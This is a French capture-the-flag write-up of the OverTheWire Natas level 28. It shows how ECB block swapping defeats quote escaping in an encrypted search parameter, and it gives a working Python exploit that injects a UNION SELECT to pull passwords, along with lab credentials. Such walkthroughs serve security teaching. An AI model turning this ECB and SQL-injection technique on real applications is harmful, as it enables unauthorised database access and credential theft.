Natas 28
Level Goal
Username: natas28
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
URL: http://natas28.natas.labs.overthewire.org
En se connectant à la page du challenge 28 (curl http://natas28.natas.labs.overthewire.org -u natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF
) on arrive sur un formulaire de recherche :
<!--
morla/10111
y0 n0th!
-->
<h1>natas28</h1>
<div id="content">
<form action="index.php" method="POST">
<h2> Whack Computer Joke Database</h2>
Search: <input name="query"><br>
<input type="submit" value="search" />
</form>
Contrairement à d'habitude on ne dispose pas du code source PHP de la page.
Si l'on essaye de rentrer une valeur au hasard (a
), on obtient :
There are no shortcuts in life, unless you right click and find one...
Keyboard not found ... press F1 to continue
There are 10 kinds of people in the world: Those that know binary & those that don't
On peut toutefois noter que lorsqu'on envoie le formulaire sur la page index.php
, on est redirigé via une 302
vers la page query.php
avec un paramètre query
rajouté à l'url, donnant quelque chose du genre :
http://natas28.natas.labs.overthewire.org/search.php/?query=G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
Si l'on utilise une fonction url-decode on obtient une valeur en base 64 :
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
Qui donne une fois décodée un texte non interprétable :
%[WFm܄ru\
og$uThQ\o*UDYGOK*,-vr1Qp
On peut par contre remarquer que lorsqu'on ajoute des caractères permettant de faire des injections SQL, ceux-ci sont escape (ex: '
semble devenir \'
)
Essayons d'envoyer un autre type de chaîne de caractères encode en base64 en remplacement. Si l'on va sur la page suivante :
http://natas28.natas.labs.overthewire.org/search.php/?query=dGVzdA==
On obtient le message d'erreur suivant :
Incorrect amount of PKCS#7 padding for blocksize
Ce message nous donne une information capitale ; notre chaîne de caractère de recherche est chiffré et devrait avoir un padding PKCS#7
. Cette méthode de remplissage est traitée dans la solution de l'épreuve 9 du challenge Cryptopals, mais elle peut être expliquée comme suit :
- afin de pouvoir être chiffré, le texte est découpé en bloc de 16 bytes
- le dernier bloc d'un texte à chiffre ne faisant pas nécessairement 16 bytes, il va être complété jusqu'à faire la taille nécessaire par un "remplissage" ou "padding" PKCS#7
- si le texte fait
10
bytes,6
(16 - 10
) bytes avec la valeur\x06
seront ajoutés. Si le texte fait15
bytes,1
byte avec la valeur\x01
sera ajouté - si la longueur du texte est un multiple de
16
, aucun padding n'est ajouté
De manière générale, le padding PKCS#7
est utilisé par deux modes d'opération de chiffrement différent : ECB
et CBC
Commençons par utiliser Python pour envoyer plusieurs chaînes de caractères et voir l'impact sur la valeur du paramètre query
de la redirection :
import urllib.parse
import requests
import base64
def get_query_parameter(query):
response = requests.post(
"http://natas28.natas.labs.overthewire.org",
params={"query": query},
auth=requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF"),
)
return urllib.parse.unquote(response.url.split("query=")[1])
for i in range(0, 32):
result = base64.b64decode(get_query_parameter(i * "a"))
print(i, len(result), result)
Ce script nous donne le résultat suivant :
0 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xe8\x7f\xf6\x0c\x99\xadr\xcc\xbd\x94~4\x17\xa9\x01(\xa7~\x8e\xd1\xaa\xbe\x0b]\x05\xc4\xff\xe6\xac\x14#\xabG\x8e\xb1\xa1\xfe&\x1a,l\x15\x06\x11\t\xb3\xfe\xda'
1 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xab\x88\n\x8f\x13o\xbe\xb9\x89g\x89\x13$\xa1\xb0u\xbd\xfa\x10T\xechQ\\\xf9o*UDY\x19G\x90OK*\xbf,-v\x86\xaar\xa51Q\xc9p'
2 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xb10\xa51\xbe\xc8\x9cpR\x13\xbf\xa5\xc9fz\xc7Hy\x9a\x07\xb1\xd2\x9bY\x82\x01\\\x93U\xc2\xe0\x0e\xad\xed\x9b\xdb\xac\xa6\xa7;q\xb3Z\x01\r,LW'
3 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2/R\x93\xa6:\xcb\x9f\xe8\xc7\xb4\xe8$\xb7mj\x1d\x9a.+]\xb6\xf3\x1f\x19\xa1Oug\x8e\xad\xaa\x90BI\xb9>M\xea\t\tG\x99\x95\xb9\xc4K5\x1a'
4 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf25\x04\xa9\xa9g_\xfdaKO\x1f\x90\xd2\x84\xfc\xaa)(\x7f<\xc5G\x9e\x12\xe6o1\xc8c\xb1\x80GV\xd5s-\xc8\xc7p\xf6C\x97\x15\x8b\xc1znf'
5 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc3j\x1f\x04i\x15\x8a0R\x16aF\xa5\xe3\xf2\xec\xac;\x87\x1c\x1cD\x83\x86\xb4\\\xd3m\x9e\x8fr\xf4eQI\xbb\xba!#\xd8\x9d\x95A~\xa2\x7f:{'
6 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2J\x11\xff\xe7:\xfd\x15\xda\xa0^\xb3\xc3Hm\xcd\xe1A\xc0\x98\xc4\xba\xcd\xc5\xed\x93WVNQ\x05\xdd~d\xd0\xdc\xc8h%6\x92\xad\xfc\xbd7\x96\xd1\xbf\x8a'
7 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\x9f\xde\x1c\xefn?\x84\xa1rc?0t\xfc\x8e\x18d\x86\x95J\xeaF\xfb\x93\xe9\xab\x85\x84[OK\xd0\xd7\xff+rTS\xfc)G\x01\xe5\x1f]|\x0f\x8e'
8 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2E>\x00 `/M\xcc\xd5\x0f\x0e\xb7p\x94w\xc2\x89m\xe9\x08\x84\xf8a\x08\xb1g\xf8\xb4\xae\xa5\xd7c\x91r2\x05\x14\x83\xe6\x8eE\x8f\xd0f\x16{0\xa3'
9 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\x9eb&\x86\xa5&@YW\x06\t\x9a\xbc\xb0R\xbb\xa0\x95"\xf3\x01\xcf\x9d6\xacp#\xf1e\x94\x8cZ\x979\xcd\x90R/\xa7\xa8o\x95w;V\xf9\xf8\xc0'
10 80 b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9es\x8a_\xfbJE\x00$gu\x17Z\xe5\x96\xbb\xd6\xf3M\xf39\xc6\x9e\xdc\xe1\x1ffP\xbb\xce\xd6'\x02"
11 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb4\xed\xa0\x87\xd3\xc0\xbe\xa2\xbe\xdc\x1ba@\xb9\xe2\xeb\xca\x8c\xf4\xe6\x10\x91:\xba\xe3\x9a\x06v\x19 JZ'
12 80 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xce\x82\xa9U;e\xb8\x12\x80\xfbm;\xf2\x90\x0fGu\xfdPD\xfd\x06=&\xf6\xbb\x7fsKA\xc8\x99'
13 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\x1ftqMv\xfc\xc5\xd4d\xc6\xa2!\xe6\xed\x98\xe4b#\xa1M\x9cB\x91\xb9\x87u\xb0?\xbcs\xd4\xed\xd8\xaeQ\xd7\xdaq\xb2\xb0\x83\xd9\x19\xa0\xd7\xb8\x8b\x98'
14 96 b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xec\xd3o\x8f\xd9\x16M@5@\xe4Ip}'\xe5BW\xa3C\xda\xad\xaa\xf2\xc0\xe3\xa1\xd7\x1c\xe0=\xd1{{\xac\xa6U\xf2\x98\xa3!\xe9\x0e?z`\xd4\xd8"
15 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9eZ\xef*\x99}\xa26?r\xa3\xfa\xd32\xd1so\xa7s\xf3\x18P\x94\xaa\x01@\x8f\x1f\x97\xd07\xd3\x85g\x8cWs\xec\xc2\x8f\x87\x0eON\xbcl\x80p\xa4'
16 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\x89%\x15\x8c\xfcZ\xc0m"\xbf\xda\x0br\xc8\xf1Q\xa7~\x8e\xd1\xaa\xbe\x0b]\x05\xc4\xff\xe6\xac\x14#\xabG\x8e\xb1\xa1\xfe&\x1a,l\x15\x06\x11\t\xb3\xfe\xda'
17 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xad\xf8\xa1\xad\x01w\xed\x1e\xca\xd3\xac|\x10\x82\xaa\x9e\xbd\xfa\x10T\xechQ\\\xf9o*UDY\x19G\x90OK*\xbf,-v\x86\xaar\xa51Q\xc9p'
18 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9eS\xd9I\x9e\xbc\xadha\xf0K|\xdc$\xf3\x04bHy\x9a\x07\xb1\xd2\x9bY\x82\x01\\\x93U\xc2\xe0\x0e\xad\xed\x9b\xdb\xac\xa6\xa7;q\xb3Z\x01\r,LW'
19 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xa5I\xfd\xa5+m\x9bN&2\xdb1\x83\x88V\xd5\x9a.+]\xb6\xf3\x1f\x19\xa1Oug\x8e\xad\xaa\x90BI\xb9>M\xea\t\tG\x99\x95\xb9\xc4K5\x1a'
20 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e \x11\xbb\xe4\x88\xdd\xe1\xbb\xec\x96\x1bap\xb3\x0e\x12)(\x7f<\xc5G\x9e\x12\xe6o1\xc8c\xb1\x80GV\xd5s-\xc8\xc7p\xf6C\x97\x15\x8b\xc1znf'
21 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\x88)\xa1\xf90\xce\xb5f\xb84D\x1c\x05w@,\xac;\x87\x1c\x1cD\x83\x86\xb4\\\xd3m\x9e\x8fr\xf4eQI\xbb\xba!#\xd8\x9d\x95A~\xa2\x7f:{'
22 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9eTv\x02\xb5/\xae\x15f\xac\x8e\x97\x1f\x91\xf6\xd6\x05A\xc0\x98\xc4\xba\xcd\xc5\xed\x93WVNQ\x05\xdd~d\xd0\xdc\xc8h%6\x92\xad\xfc\xbd7\x96\xd1\xbf\x8a'
23 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xa4Z\x93\xeeG\x94\xd1\xb6 O\xb0\x92\x0bh\xf2}d\x86\x95J\xeaF\xfb\x93\xe9\xab\x85\x84[OK\xd0\xd7\xff+rTS\xfc)G\x01\xe5\x1f]|\x0f\x8e'
24 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xed\xa1\x18\xf9\x99\xf9I^\x8f=\x97?\xbae(\xa3\x89m\xe9\x08\x84\xf8a\x08\xb1g\xf8\xb4\xae\xa5\xd7c\x91r2\x05\x14\x83\xe6\x8eE\x8f\xd0f\x16{0\xa3'
25 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xf2\x90\x9cMSx\x1e\xe1wz\x01+\xb1\xa7%A\xa0\x95"\xf3\x01\xcf\x9d6\xacp#\xf1e\x94\x8cZ\x979\xcd\x90R/\xa7\xa8o\x95w;V\xf9\xf8\xc0'
26 96 b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3s\x8a_\xfbJE\x00$gu\x17Z\xe5\x96\xbb\xd6\xf3M\xf39\xc6\x9e\xdc\xe1\x1ffP\xbb\xce\xd6'\x02"
27 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3\xb4\xed\xa0\x87\xd3\xc0\xbe\xa2\xbe\xdc\x1ba@\xb9\xe2\xeb\xca\x8c\xf4\xe6\x10\x91:\xba\xe3\x9a\x06v\x19 JZ'
28 96 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3\xce\x82\xa9U;e\xb8\x12\x80\xfbm;\xf2\x90\x0fGu\xfdPD\xfd\x06=&\xf6\xbb\x7fsKA\xc8\x99'
29 112 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3\x1ftqMv\xfc\xc5\xd4d\xc6\xa2!\xe6\xed\x98\xe4b#\xa1M\x9cB\x91\xb9\x87u\xb0?\xbcs\xd4\xed\xd8\xaeQ\xd7\xdaq\xb2\xb0\x83\xd9\x19\xa0\xd7\xb8\x8b\x98'
30 112 b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3\xec\xd3o\x8f\xd9\x16M@5@\xe4Ip}'\xe5BW\xa3C\xda\xad\xaa\xf2\xc0\xe3\xa1\xd7\x1c\xe0=\xd1{{\xac\xa6U\xf2\x98\xa3!\xe9\x0e?z`\xd4\xd8"
31 112 b'\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9e\xb3\x908\xc2\x8d\xf7\x9be\xd2aQ\xdfX\xf7\xea\xa3Z\xef*\x99}\xa26?r\xa3\xfa\xd32\xd1so\xa7s\xf3\x18P\x94\xaa\x01@\x8f\x1f\x97\xd07\xd3\x85g\x8cWs\xec\xc2\x8f\x87\x0eON\xbcl\x80p\xa4'
Cela nous donne plusieurs informations :
- les blocs de chiffrement sont bien des multiples de
16
, avec du padding - les
32
premiers caractères de la chaîne chiffrée sont toujours identiques - étant donné qu'il faut envoyer plus de 12 caractères pour faire changer le nombre de blocs, on peut donc en conclure que le texte avant chiffrement à la forme suivante :
36 caractères
+notre chaine de caractères
+32 caractères
Sachant cela, essayons d'injecter une chaine de 10 caractères différents (aaaaaaaaaaaa
et bbbbbbbbbbbb
) pour remplir exactement le 3ème bloc :
b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\xc0\x87-\xee\x8b\xc9\x0b\x11V\x91;\x08\xa2#\xa3\x9es\x8a_\xfbJE\x00$gu\x17Z\xe5\x96\xbb\xd6\xf3M\xf39\xc6\x9e\xdc\xe1\x1ffP\xbb\xce\xd6'\x02"
b"\x1b\xe8%\x11\xa7\xba[\xfdW\x8c\x0e\xefFm\xb5\x9c\xdc\x84r\x8f\xdc\xf8\x9d\x93u\x1d\x10\xa7\xc7\\\x8c\xf2\\\x80\\\xbd)\xfbc\xe2\xecSdS%\xc7\xa8\x96s\x8a_\xfbJE\x00$gu\x17Z\xe5\x96\xbb\xd6\xf3M\xf39\xc6\x9e\xdc\xe1\x1ffP\xbb\xce\xd6'\x02"
On obtient deux lignes de résultats pour lesquelles on peut constater que les blocs 1
, 2
, 4
et 5
sont identiques : le mode de chiffrement est donc ECB
Injection SQL
Puisqu'on a un formulaire de recherche on sait qu'il faut probablement l'exploiter en effectuant une injection SQL. Comme on l'a également vu plus haut, le formulaire de recherche "escape" certains caractères pour empêcher des injections. Sachant que l'on n'a pas de maitrise sur le début et la fin de la donnée chiffrée, la solution sera d'exploiter les failles de ECB.
Si les blocs ne sont pas interchangeables sur une même chaîne chiffrée, ils le sont par contre sur 2 chaînes différentes à conditions de respecter le positionnement. Pour illustrer cela, imaginons que l'on ait suite au chiffrement ECB de l'énoncé résultats de 5 blocs suivants :
A
- B
- C
- D
- E
Ici on sait qu'on n'a pas de contrôle sur les blocs A
, B
, D
et E
.
Si l'on chiffre de la donnée différente on obtiendra les blocs suivants :
A
- B
- F
- D
- E
Le point important est que l'on peut remplacer C
par F
ou l'inverse sans que cela n'impacte le déchiffrement des autres blocs.
De fait, si l'on envoie l'injection SQL requête suivante, l'apostrophe '
sera échappée :
' UNION ALL SELECT FROM users #
\' UNION ALL SELECT FROM users #
Par contre, si l'on s'arrange pour que l'apostrophe soit le dernier caractère du bloc, le \
sera dans un bloc et le '
dans un autre :
' UNION ALL SELECT * FROM users #
De fait la solution à ce problème est la suivante :
- faire une première requête permettant de remplir un bloc d'espace
- faire une seconde requête avec un
'
en dernière position de bloc - remplacer le premier bloc de la seconde requête par celui de la première.
Ainsi le caractère d'échappement sera supprimé et permettra d'effectuer une injection SQL.
Utilisons Python pour effectuer cette attaque :
import urllib.parse
import requests
import base64
def comp(a, b):
same = 0
for i in range(0, len(a)):
if a[i] == b[i]:
same += 1
else:
break
return same
def get_query_parameter(query):
response = requests.post(
"http://natas28.natas.labs.overthewire.org",
params={"query": query},
auth=requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF"),
)
return base64.b64decode(urllib.parse.unquote(response.url.split("query=")[1]))
clean_block = " " * 10
sql_injection = f"{' '*9}' UNION ALL SELECT password FROM users #"
first_query = get_query_parameter(clean_block)
second_query = get_query_parameter(sql_injection)
exploit = urllib.parse.quote(base64.b64encode(first_query[0:48] + second_query[48:]))
response = requests.get(
f"http://natas28.natas.labs.overthewire.org/search.php/?query={exploit}",
auth=requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF"),
)
print(response.text)
On utilise une UNION dans notre attaque. De fait il est important de noter que l'on ne peut pas effectuer un
SELECT *
mais que l'on doit sélectionner autant de champ que disponible dans la première partie de la requête pour pouvoir afficher le contenu sur la page.
On obtient le mot de passe du niveau suivant : airooCaiseiyee8he8xongien9euhe8b